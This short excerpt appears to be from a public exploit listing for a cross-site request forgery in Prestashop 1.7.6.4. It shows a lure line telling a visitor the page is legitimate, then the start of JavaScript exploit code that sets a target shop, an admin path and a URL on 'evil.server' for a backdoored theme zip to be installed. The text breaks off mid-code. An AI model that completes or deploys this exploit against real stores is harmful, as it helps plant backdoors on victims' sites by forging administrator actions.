Prestashop 1.7.6.4 - Cross-Site Request Forgery

This is totally a legit page. Just keep reading this for a minute : history.pushState'', '', '/' var target = "http://localhost"; //change this var adminurl = "/admin123ab45cd"; //change this var themeurl = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip...